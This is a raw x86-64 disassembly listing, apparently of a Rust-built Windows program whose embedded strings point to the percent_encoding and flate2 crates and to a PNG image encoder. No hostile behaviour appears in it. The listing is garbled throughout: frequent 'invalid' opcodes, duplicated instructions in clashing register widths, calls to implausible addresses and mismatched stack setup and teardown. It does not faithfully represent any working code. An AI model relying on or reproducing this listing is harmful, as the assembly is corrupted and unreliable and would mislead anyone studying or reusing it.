add byte [rax - 0x73], cl
and al, 0x28
invalid
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
mov dword [rcx], eax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
adc byte [r8], cl
add byte [rax], al
invalid
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], cl
add byte [rax], al
or byte [rax], al
add byte [rax], al
invalid
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
sbb byte [r8 - 0x73], cl
adc eax, 0x1b6210
invalid
sbb eax, dword [rax]
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
invalid
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
call fcn.1401c6e60
int3
test dl, dl
js 0x140060add
movzx eax, dl
shr dl, 5
movzx edx, dl
mov ecx, dword [rcx + rdx*4]
bt ecx, eax
invalid
ror dword [rdi], 0x92
invalid
ret
movabs dword [0xc301b0c3c0920fc1], eax
mov al, 1
ret
enter 0x21e8, 0x64
invalid
in al, dx
and byte [rcx - 0x3176b72d], cl
mov rsi, rcx
mov rdi, qword [rcx + 0x10]
cmp rdi, qword [rcx]
jne 0x140060b1d
mov rcx, rsi
call fcn.140004fec
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
mov byte [rax + rdi], bl
inc rdi
mov qword [rsi + 0x10], rdi
add rsp, 0x20
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
ret
in al, dx
and byte [rax - 0x75], cl
mov rsi, qword [rcx + 0x10]
mov rsi, qword [rcx + 0x10]
mov esi, dword [rcx + 0x10]
call fcn.140137f6d
or eax, 0x3d00
adc dword [rax], eax
cmp eax, 0x110000
jne 0x140060b4c
xor eax, eax
jmp 0x140060b60
mov edx, eax
cmp eax, 0x100
add byte [rax], al
add byte [rax], al
jae 0x140060b59
mov al, 1
jmp 0x140060b60
mov byte [rsi], 0
xor edx, edx
xor eax, eax
add rsp, 0x20
pop rsi
ret
push rsi
push r13
push r12
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
sub byte [rcx + rcx*4 - 0x3d], cl
sub byte [rcx + rcx*4 - 0x3d], cl
mov r14, rdx
mov rsi, rcx
lea rdi, [rcx + 0x30]
lea rbp, [0x14028bdd8]
mov dl, 0x22
invalid
invalid
xor byte [rax - 0x73], cl
sub eax, 0x22b24e
mov dl, 0x22
invalid
mov dl, 0x22
mov dl, 0x22
add byte [rbp + rcx*4 + 0x25], cl
packsswb mm3, qword [rbx]
lea r12, str.corrupt_deflate_stream
add byte [rax - 0x7b], cl
fisttp dword [rdi]
test cl, bl
add byte [rax], al
test rbx, rbx
je 0x140060c73
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.140060d26
mov r13, qword [rsi + 0x38]
mov byte [rsp + 0x20], 0
and al, 0x20
add byte [rax - 0x77], cl
stc
and al, 0x20
add byte [rax - 0x77], cl
stc
mov rdx, r14
mov r8, rbx
mov eax, ebx
mov r9, rsi
call fcn.1400359b6
mov ecx, eax
shr rax, 0x20
mov r15, qword [rsi + 0x38]
cmp r15, r13
jne 0x140060be6
cmp rcx, 2
sete dl
cmp al, 2
sete r8b
sete al
cmp rcx, 2
jne 0x140060be3
and dl, r8b
je case.0x140045009.358
invalid
ret 0xb774
mov bh, 0x4d
mov r15, r13
mov edi, ebp
cmp ecx, 2
jne 0x140060c02
sub r15, r13
sub edi, ebp
cmp al, 3
jne case.0x1400422c1.281
mov eax, r15d
clc
and eax, 3
movsxd rax, dword [rbp + rax*4]
add byte [rax + 1], cl
invalid
add byte [rax + 1], cl
call 0x156c0ed03
jmp rax
mov edx, 0x16
mov rcx, r12
mov ecx, esp
add byte [rax], al
add byte [rcx + rcx*4 - 0x1f], cl
mov ecx, esp
mov ecx, esp
call fcn.140035463
mov r15, rax
mov edi, eax
std
dec dword [rcx - 0x77]
invalid
mov edi, eax
mov dword [rbx + 0x634803e0], 0x48008544
add eax, ebp
invalid
and eax, 3
movsxd rax, dword [rbp + rax*4]
test dword [rax], r8d
test dword [rax], r8d
add rax, rbp
call 0xc047ed20
jg 0x140060c33
jmp rax
and esi, dword [rbx + rbx - 0x15]
cmp byte [r15 + 0xf], 0x23
cmp byte [r15 + 0xf], 0x23
je 0x140060c41
jmp 0x140060c76
stc
shr rcx, 0x20
call fcn.140006d19
fsub qword [rax - 6]
invalid
cmp al, 0x23
jne 0x140060c76
invalid
and al, ch
fsub qword [rax - 6]
invalid
xor eax, 0xe8f9894c
mov rcx, r15
call fcn.140060c93
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
invalid
invalid
add byte [rax], al
jmp 0x140060b91
invalid
test r15, r15
je 0x140060c8a
mov rcx, r15
stc
mov rdx, r14
mov edx, esi
mov r8, rbx
mov r8, rbx
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
call fcn.14001ca54
mov ebp, 0x8949fffb
invalid
invalid
mov ebp, 0x8949fffb
invalid
mov esi, eax
mov rbx, rdx
jmp 0x140060b91
xor r15d, r15d
dec dword [rcx + rcx*4 - 8]
mov rax, r15
add rsp, 0x28
pop rbx
pop rbp
sub byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
lea r15, str.failed_to_write_whole_buffer
jmp 0x140060c76
invalid
sub rsp, 0x40
lea rbp, [rsp + 0x40]
lea ebp, [rsp + 0x40]
lea ebp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdx, rcx
mov eax, edx
and eax, 3
lea rcx, [rax - 2]
rol byte [rbx - 0x72b7fc20], 1
dec byte [rax - 0x7d]
invalid
stc
cmp rcx, 2
cmp ecx, 2
add dh, byte [rdx + 5]
jb 0x140060cbc
test rax, rax
jne 0x140060cc2
sal byte [rbp + 6], 0x48
add esp, 0x40
invalid
invalid
add rsp, 0x40
invalid
pop rbp
pop rbp
ret
lea rax, [rdx - 1]
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x18], eax
dec dword [rax - 0x77]
call 0x13f509816
call 0x13f509816
mov dword [rbp - 0x18], eax
call 0x13f509816
mov rcx, qword [rdx - 1]
mov rax, qword [rdx + 7]
mov qword [rbp - 0x10], rdx
invalid
call qword [rax]
adc byte [rax - 0x75], cl
invalid
invalid
invalid
invalid
adc byte [rax - 0x75], cl
invalid
mov eax, dword [rbp - 0x10]
mov rcx, qword [rax - 1]
dec qword [rax - 0x75]
push rax
invalid
mov rdx, qword [rax + 7]
mov edx, dword [rax + 7]
call fcn.14001cb0d
and al, 0xbe
sti
dec dword [rax - 0x75]
invalid
invalid
mov rcx, qword [rbp - 0x18]
call 0x180ca9039
add rsp, 0x40
add esp, 0x40
pop rbp
pop rbp
jmp fcn.14003cc4d
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
and byte [rax - 0x73], cl
push 0x40
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax - 1]
mov rdx, qword [rax + 7]
call fcn.14001cb0d
idiv dword [rbp - 0x74b70005]
call 0x13dc53c06
call qword [rax + 0x20c48348]
idiv dword [rbp - 0x74b70005]
dec dword [rax - 0x75]
call 0x13dc53c06
call 0x13dc53c06
mov edi, 0x4890fffd
call qword [rax + 0x20c48348]
add esp, 0x20
invalid
pop rbp
ret
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
sub esp, 0x48
sub esp, 0x48
mov rsi, rcx
mov rsi, rcx
lea rdi, [rcx + 0x18]
movabs r15, 0x8000000000000000
lea rbx, [rsp + 0x20]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x245c8d48], al
and byte [rcx - 0x44], al
add dword [rax], eax
add byte [rax], al
lea ebx, [rsp + 0x20]
mov r12d, 1
mov r14, qword [rsi + 0x10]
jbe 0x140060d63
adc byte [rbp - 0x7b], cl
div byte [rsi + rsi + 0x4c]
cmp dword [rdi], edi
test r14, r14
je 0x140060d8e
cmp qword [rdi], r15
je 0x140060d9c
mov rdx, qword [rsi + 8]
mov rcx, rdi
stc
mov r8, r14
call fcn.140032c82
mov rcx, rbx
invalid
mov rdx, rsi
mov r8, r14
call fcn.140009047
int 0x82
cli
dec dword [rcx + rcx*4 + 0x64]
and al, 0x20
int 0x82
cli
dec dword [rcx + rcx*4 + 0x64]
and al, 0x20
mov qword [rsp + 0x28], r12
and al, 0x28
mov rcx, rbx
call fcn.1401b7dd2
jo 0x140060da0
invalid
jo 0x140060da0
add bl, ch
ror dword [rax - 0x7d], 0xc4
pop rbx
jmp 0x140060d4f
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, str._n__
call fcn.1401c7290
call 0x10c06240d
invalid
call 0x10c06240d
sub esp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
dec dword [rax - 0x77]
invalid
mov ebx, ecx
mov al, byte [0x1402c6358]
nop
push rbp
add byte es:[rdx + 0x18], ch
nop
push rbp
add byte es:[rdx + 0x18], ch
pop rdx
xor ecx, ecx
call fcn.1401a7480
adc al, 0
adc al, 0
test rax, rax
je 0x140060dfd
mov rcx, qword [rsi + 0x10]
mov qword [rax + 0x10], rcx
mov dword [rax + 0x10], ecx
movups xmm0, xmmword [rsi]
movups xmmword [rax], xmm0
lea r8, [0x140216d20]
add eax, 0x1b5f34
xor al, 0x5f
sbb eax, dword [rax]
mov ecx, ebx
invalid
mov rdx, rax
add rsp, 0x30
invalid
pop rbx
invalid
pop rsi
pop rbp
jmp case.0x14002e130.2189
invalid
adc ax, word [rax]
movabs dword [0x6af0758948001366], eax
mov qword [rbp - 0x10], rsi
push 8
invalid
pop rcx
or byte [rcx + 0x6a], bl
sbb byte [rdx - 0x18], bl
invalid
hlt
push 0x18
pop rdx
call fcn.1401c6700
ud2
add byte [rdi], cl
or ecx, dword [rax - 0x77]
push rsp
and al, 0x10
push rbp
push rsi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x30]
push 0x30
push 0x30
xor byte [rax - 0x75], cl
invalid
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.14006095a
nop
add rsp, 0x20
pop rbx
pop rsi
pop rbp
ret
mov dh, 1
bsf eax, eax
lea rcx, [0x14028a210]
lea ecx, [0x14028a210]
mov r8, qword [rcx + rax*8]
lea rcx, case.0x140060e71.0
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
invalid
mov dh, 1
lea rcx, [0x14028a260]
or eax, 0x2293e2
and al, byte [rax]
mov r8, qword [rcx + rax*8]
lea rcx, str.GrayscaleRgbIndexedGrayscaleAlphaRgbaOneTwoFourEightSixteen
sete byte [rdx]
add byte [rax - 0x75], cl
add al, 0xc1
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
invalid
invalid
mov rdx, rax
jmp r9
add dword [rax + 0x35740038], eax
inc rax
lea r9, [rsp + 0x30]
mov qword [r9], rax
mov dword [rcx], eax
lea rax, fcn.140009390
lea eax, [0x140216dc8]
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, [0x140289b70]
add eax, 0x228ca7
mov r8d, 4
mov rcx, rdx
mov ecx, edx
mov ecx, edx
mov rdx, rax
call fcn.14002b6a0
cld
call qword [rax + 0x38c48348]
call qword [rax + 0x38c48348]
add esp, 0x38
ret
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, case.0x140059243.0
adc eax, 0x228c79
adc eax, 0x228c79
mov r8d, 4
add byte [rax], al
add rsp, 0x38
jmp rax
sub rsp, 0x88
mov rax, qword [rcx]
cmp qword [rax], 0
add dword [rax - 0x7d], ecx
cmp byte [rax], al
je 0x140060f39
lea rax, str.End_of_image_has_been_reached
add eax, 0x1b60e1
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], 1
mov qword [r8 + 0x10], 8
adc byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
rol byte [rcx + 0xf], 0x11
sbb bl, bpl
pop rax
adc byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
rol byte [rcx + 0xf], 0x11
sbb bl, bpl
pop rax
mov rcx, qword [rax + 8]
lea r8, [rsp + 0x28]
mov qword [r8], rcx
mov rax, qword [rax + 0x10]
lea rcx, [rsp + 0x30]
mov qword [rcx], rax
lea rax, [rsp + 0x68]
lea eax, [rsp + 0x68]
lea eax, [rsp + 0x68]
mov qword [rax], r8
lea r8, [fcn.140024bb0]
mov qword [rax + 8], r8
mov dword [rax + 8], eax
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r8
lea rcx, str.wrong_data_size__expected__got
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov ecx, 2
mov qword [r8 + 8], rcx
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
and byte [rax - 0x75], cl
push rdx
sub al, ch
call fcn.140006275
nop
invalid
invalid
invalid
mov byte [rax], al
invalid
call fcn.140006275
nop
add rsp, 0x88
add esp, 0x88
add esp, 0x88
add bl, al
sub rsp, 0x88
add byte [rax], al
ret
add byte [rax], al
mov rax, qword [rcx]
movzx ecx, byte [rax]
lea r8, [0x14028bde8]
sub eax, 0x490022ae
invalid
or al, 0x88
add rcx, r8
add ecx, eax
sub eax, 0x490022ae
invalid
add ecx, eax
jmp rcx
lea rax, str.0p__
invalid
sbb eax, dword [rax]
jmp 0x14006112b
jmp 0x14006112b
or byte [rax - 0x73], cl
or eax, 0x1b614e
sbb eax, dword [rax]
sbb eax, dword [rax]
jmp 0x1400610ef
add byte [rax], al
movzx eax, byte [rax + 1]
cmp eax, 2
je 0x14006111b
add byte [rax], al
add byte [rax], al
cmp eax, 1
jne 0x140061124
lea rax, str.Xs__
jmp 0x14006112b
mov cl, byte [rax + 1]
lea r8, [rsp + 0x2f]
mov byte [r8], cl
mov al, byte [rax + 2]
lea rcx, [rsp + 0x30]
mov byte [rcx], al
lea rax, [rsp + 0x68]
mov qword [rax], r8
lea r8, [0x140060e46]
mov qword [rax + 8], r8
mov qword [rax + 0x10], rcx
lea rcx, [0x140060e74]
mov qword [rax + 0x18], rcx
mov dword [rax + 0x18], ecx
mov dword [rax + 0x18], ecx
lea rcx, str.Invalid_combination_of_bit_depth__and_color_type_
lea r8, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [r8], rcx
mov qword [r8 + 8], 3
or byte [rbx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
and byte [rax], al
invalid
or byte [rbx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
add byte [rcx - 0x77], cl
adc byte [rcx - 0x39], cl
sbb byte [rdx], al
add al, byte [rax]
add byte [rax], al
jmp 0x14006114b
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
jmp 0x14006114b
add byte [rax - 0x73], cl
add eax, 0x1b6078
lea rax, str.cant_write_indexed_image_without_palette
jmp 0x14006112b
lea rax, str.Xp__
jmp 0x14006112b
lea eax, [0x140217180]
jmp 0x14006112b
invalid
and al, 0x68
mov qword [rax], rcx
lea rcx, [fcn.140024bb0]
cld
invalid
or byte [rax - 0x73], cl
or eax, 0xfffc3acc
cld
invalid
cld
dec dword [rax - 0x77]
or byte [rax - 0x73], cl
lea rcx, str.pr__
mov qword [rax + 8], rcx
lea rcx, str.pr__
invalid
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov qword [r8 + 8], 2
mov dword [rax + 8], 2
mov dword [rax + 8], 2
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jmp 0x14006114b
lea rax, str.Unable_to_compress_text_metadata
lea eax, [0x1402173a0]
jmp 0x14006112b
lea rax, str._bs__
invalid
lea r8, [rsp + 0x38]
lea eax, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], 1
mov qword [r8 + 0x10], 8
mov dword [rax + 0x10], 8
mov dword [rax + 0x10], 8
xorps xmm0, xmm0
movups xmmword [r8 + 0x18], xmm0
adc dword [rax + 0x18], eax
adc dword [rax + 0x18], eax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.140006275
nop
add rsp, 0x88
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
ret
sub esp, 0x28
mov rdi, rdx
mov rsi, rcx
invalid
mov rcx, rdx
call fcn.140004f16
dec dword [rax - 0x7b]
invalid
je 0x140061191
invalid
dec dword [rax - 0x7b]
sal byte [rdi + rdx + 0x49], 0x89
mov r8, rdx
mov rcx, rsi
ror byte [rax - 0x77], 1
int1
mov rdx, rax
call fcn.140032c82
cli
sbb bh, ch
push qword [rcx]
ror byte [rax - 0x7d], 0xc4
invalid
sub byte [rdi + 0x5e], bl
invalid
ret
lea rdx, [0x140216d78]
loopne 0x1400611f1
sbb eax, dword [rax]
mov rcx, rsi
mov r8, rdi
mov eax, edi
mov eax, edi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140025840
sub al, ch
rcr byte [rdx], 1
std
push qword [rcx]
ror byte [rax - 0x7d], 0xc4
add rsp, 0x28
ret
push rsi
sub rsp, 0x30
mov rsi, rcx
cmp edx, 0x80
add byte [rax], al
add byte [rbx + 0xd], dh
add rsp, 0x28
ret
add byte [rax], al
add byte [rbx + 0xd], dh
mov rcx, rsi
call fcn.140060b00
jmp 0x140061282
add byte [rax], al
add byte [rax], al
and dword [rsp + 0x2c], 0
mov eax, edx
cmp edx, 0x800
jae 0x1400611fa
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2c], al
and al, 0x2c
and al, 0x2c
mov ecx, 2
add byte [rax], al
mov eax, 1
jmp 0x140061253
cmp edx, 0x10000
add byte [rax], al
add dword [rax], eax
jae case.0x14003c171.423
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2c], al
or al, 0xc
loopne 0x140061190
and al, 0x2c
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
mov ecx, 3
mov eax, 2
add byte [rax + 2], bh
jmp 0x140061253
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
mov ecx, 4
mov eax, 3
and dl, 0x3f
or dl, 0x80
mov byte [rsp + rax + 0x2c], dl
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srccharmethods.rs_
lea rdx, [rsp + 0x2c]
mov r8d, 4
call fcn.140060ae0
mov r8, rdx
mov rcx, rsi
mov rdx, rax
ret 0xe8
sbb bh, ch
invalid
insb byte [rdi], dx
clc
invalid
ret 0xe8
xor eax, eax
add rsp, 0x30
pop rsi
ret
invalid
or dl, bh
call qword [rsi + 0x57]
push rbx
sub rsp, 0x30
in al, dx
xor byte [rax - 0x77], cl
invalid
lea rdi, [rcx + 0x30]
in al, dx
xor byte [rax - 0x77], cl
invalid
mov rcx, rsi
call fcn.140060d26
mov rbx, qword [rsi + 0x40]
mov byte [rsp + 0x20], 4
mov edx, 1
mov rcx, rdi
mov ecx, edi
xor r8d, r8d
mov r9, rsi
call fcn.1400359b6
cmp eax, 2
jne 0x14006131a
cmp rbx, qword [rsi + 0x40]
jne 0x1400612e1
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rdx, rax
shr rdx, 0x20
and byte [rcx - 0x3b7cb73f], cl
xor byte [rbx + 0x5f], bl
and byte [rcx - 0x3b7cb73f], cl
xor byte [rbx + 0x5f], bl
pop rsi
jmp fcn.14003542e
test dword [rcx], 0xd04d8d48
mov edx, r8d
call fcn.1400355bb
std
dec dword [rax - 0x73]
jge 0x140061316
std
dec dword [rax - 0x73]
jge 0x140061316
mov edx, 0x8000
mov rcx, rdi
xor r8d, r8d
call fcn.1401c24b1
cmp qword [rdi], 0
mov rcx, qword [rdi + 8]
jne 0x1400613b4
mov rax, qword [rbp - 0x38]
mov r8, qword [rbp - 0x18]
mov rdx, qword [r8 + 0x10]
mov qword [rsi + 0x28], rdx
movups xmm0, xmmword [r8]
movups xmmword [rsi + 0x18], xmm0
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rsi + 0x30], xmm0
mov rdx, qword [rbp - 0x20]
mov qword [rsi + 0x40], rdx
mov qword [rsi], rcx
mov qword [rsi + 8], rax
and qword [rsi + 0x10], 0
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
mov rdx, qword [rbp - 0x38]
call fcn.1401c66e0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x77]
push rsp
and al, 0x10
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
mov rcx, qword [rbp - 0x30]
call fcn.14006128a
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.14014b0fc
mov byte [rbp - 9], 0
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
or byte [rax - 0x75], cl
push rax
or al, ch
cmc
invalid
pop rsi
pop rbp
ret
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov qword [rbp - 8], rdx
mov rcx, rdx
add r14b, r15b
invalid
call 0x1400612d3
test rax, rax
je 0x14006145e
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov rcx, qword [rbp - 8]
jmp 0x140061481
mov rcx, qword [rbp - 8]
clc
mov rax, qword [rcx + 0x18]
movabs rdx, 0x8000000000000000
sbb byte [r8 - 0x46], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x18518948], al
mov qword [rcx + 0x18], rdx
mov qword [rcx + 0x18], rdx
cmp rax, rdx
je 0x14006148f
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rsi + 8], xmm0
invalid
and byte [rdi], cl
adc dword [rsi + 8], eax
invalid
or byte [rax - 0x77], cl
invalid
mov qword [rsi], rax
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.140043bb1
invalid
invalid
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_flate2_1.0.28_srczio.rs
lea ecx, [0x140216e88]
call fcn.1401c7290
ud2
pop rbp
invalid
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 8]
call fcn.140043bb1
call qword [rax + 0x28c48348]
call qword [rax + 0x28c48348]
invalid
pop rsi
pop rbp
ret
add byte [rax], al
or byte [rax + 0x39], 0x41
sbb byte [rsi + rdx - 0x18], dh
std
std
invalid
cmp dword [rcx + 0x18], eax
je 0x1400614e7
call 0x1400612d3
test rax, rax
je 0x1400614e7
mov rcx, rax
add rsp, 0x28
jmp fcn.140060c93
idiv edi
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
ret
sub rsi, 1
jb 0x14006150d
mov rcx, rdi
mov ecx, edi
call fcn.14003f121
add rdi, 0x30
add edi, 0x30
fdiv st(5), st(0)
dec dword [rax - 0x7d]
invalid
invalid
add edi, 0x30
jmp 0x1400614f9
add rsp, 0x28
pop rdi
pop rsi
ret
add rsp, 0x28
pop rdi
pop rsi
ret
mov rsi, rcx
mov rcx, qword [rcx + 0x20]
mov rdx, qword [rsi + 0x28]
call fcn.14006095a
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
add rsp, 0x20
pop rsi
jmp fcn.14006095a
mov edi, ecx
sub rsi, 1
jb 0x140061582
mov rcx, rdi
call fcn.140061589
add rdi, 0x70
jmp 0x14006156e
add rsp, 0x28
pop rdi
pop rsi
ret
push rsi
call fcn.14006095a
mov rcx, qword [rsi + 0x50]
mov ecx, dword [rsi + 0x50]
mov rdx, qword [rsi + 0x58]
call fcn.14006095a
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
add rsp, 0x20
pop rsi
jmp fcn.14006095a
mov ecx, eax
jmp fcn.140004b0a
mov word [rdx], fs
add byte [rax - 0x75], cl
add al, 0xc1
ret
clc
adc byte [rsp + rbx - 0x7d], dh
clc
add al, 0x75
adc al, 0x80
stc
invalid
add byte [rax - 0x73], cl
and al, 0x38
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
or byte [r8 - 0x7d], cl
invalid
and byte [rax], al
lea r8, [fcn.1401c5992]
mov qword [rdx + 8], r8
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
sbb byte [r8 - 0x73], cl
adc eax, 0x1b590f
call fcn.1401c6e60
int3
or byte [r8 - 0x7d], cl
invalid
invalid
mov rdx, qword [rsi + 0x50]
call fcn.14003f330
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
push rsi
push 0xfffffffffddc89e8
dec dword [rax - 0x75]
js 0x1400616f4
mov edx, dword [rsi + 0x80]
mov edx, dword [rsi + 0x80]
call fcn.14003f330
mov qword [rbp - 8], rsi
mov rcx, rsi
call fcn.14006172b
mov rax, qword [rbp - 8]
clc
lea rcx, [rax + 0x18]
lea ecx, [rax + 0x18]
call fcn.140043d11
mov rcx, qword [rbp - 8]
add rcx, 0x30
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.140043d75
add rsp, 0x28
pop rsi
pop rbp
ret
mov rax, rcx
mov rcx, qword [rcx + 8]
mov qword [rbp - 0x10], rax
mov rdx, qword [rax + 0x10]
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0x18], ecx
mov dword [rbp - 0x18], ecx
call fcn.1400614ed
mov rax, qword [rbp - 0x10]
invalid
invalid
mov rcx, qword [rax]
mov rdx, qword [rbp - 0x18]
mov edx, dword [rbp - 0x18]
invalid
add rsp, 0x40
pop rbp
jmp fcn.1400880ec
invalid
invalid
add al, byte [rax]
imul eax, dword [rdx], 0x54894800
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov ecx, dword [rax]
mov rdx, qword [rbp - 0x18]
call fcn.1400880ec
invalid
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
pop rbp
ret
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
and r14b, r15b
invalid
dec dword [rax - 0x7d]
or byte gs:[rax], al
invalid
mov qword [rbp + 0x10], 1
and qword [rbp + 0x18], 0
sbb byte gs:[rax], al
sbb byte gs:[rax], al
mov rax, qword [rcx]
add rax, 0xfffffffffffffffe
cmp rax, 4
push 2
pop rdx
cmovb rdx, rax
lea rax, [0x14028be1c]
cmpsb byte [rsi], byte [rdi]
and al, byte [rax]
cmpsb byte [rsi], byte [rdi]
and al, byte [rax]
movsxd rdx, dword [rax + rdx*4]
add rdx, rax
mov qword [rbp], rcx
add bh, bh
invalid
add bh, bh
loop 0x140061829
invalid
lea rax, [rcx + 8]
lea eax, [rcx + 8]
lea rcx, [rbp - 8]
mov qword [rcx], rax
lea rax, [rbp - 0x18]
mov qword [rax], rcx
lea rcx, [0x140289c40]
and al, byte [rax]
and al, byte [rax]
lea r8, [rbp - 0x50]
mov qword [r8], rcx
push 1
pop rcx
mov qword [r8 + 8], rcx
and qword [r8 + 0x20], 0
lea rdx, case.0x1400089d2.68
lea edx, case.0x1400089d2.68
lea edx, case.0x1400089d2.68
mov qword [rax + 8], rdx
